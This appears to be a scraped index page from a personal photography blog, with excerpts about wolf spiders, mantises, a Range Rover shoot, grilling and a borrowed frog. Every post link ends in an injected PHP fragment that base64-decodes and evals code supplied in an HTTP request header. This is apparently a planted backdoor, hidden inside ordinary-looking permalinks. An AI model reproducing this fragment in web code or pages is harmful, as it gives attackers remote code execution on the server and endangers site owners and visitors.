She normally carries the egg sac on her back end spinnerets but as soon as she got to the studio, she held on for dear life. I wish I could say that this story ended well for momma wolf spider ... http://www.eusebiophotography.com/blog/2009/03/09/mother-love/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/       Last year I had the wonderful opportunity to shoot Range Rovers in Europe. My job was to shoot editorial of the locations and some detail shots of the vehicles. I tagged along with car photographer extradoinare, Anton Watts. His job was to deliver the 5 or so highly polished shots ... http://www.eusebiophotography.com/blog/2008/09/28/i-miss-europe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ No need for Area 51 when you can just look at these mantises. The dark one is a ghost mantis and looks like a creature from a scifi movie. The lighter one is a juvenile idolomantis diabolica. When it is a full sized adult, it will look like one of ... http://www.eusebiophotography.com/blog/2008/06/01/theyre-aliens-i-tell-you/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/     I really enjoy cooking, especially when it comes to grilling a fat juicy steak on the grill. For those of you who know me, you know I'm not making this up. I make the best garlic noodles outside of any asian restaurant, and my pork adobo beats any grandmother's secret ... http://www.eusebiophotography.com/blog/2008/04/24/i-love-barbecues/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This beautiful lady is a Texas Unicorn Mantis. It's an extreme closeup of her face. Probably at a 3:1 magnification. I shot this last year when she was still alive. Sadly, she went along her natural course and died a few months after her last molt. People remember me for my bug ... http://www.eusebiophotography.com/blog/2008/04/16/im-not-just-a-bug-photographer/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I've shot a few reptiles and amphibians before but I was never really satisfied with the results. Their skin has a tendency to reflect lots of light, especially when their slimy and wet. Plus they just sit there and stare. I borrowed this frog from a pet store with the intention ... http://www.eusebiophotography.com/blog/2008/04/10/frogs-are-cool-but-not-as-cool-as-invertebrates/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/   So I really like taking pictures of spiders. The hairier the better. This guy is a common jumping spider found in Southern California. In my backyard to be exact! If you look closely at him and maybe squint your eyes a little bit, he kinda looks like a furry teddy bear. http://www.eusebiophotography.com/blog/2008/04/08/i-like-looking-at-spiders-but-i-wont-touch-them/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Am I the last one on the train?
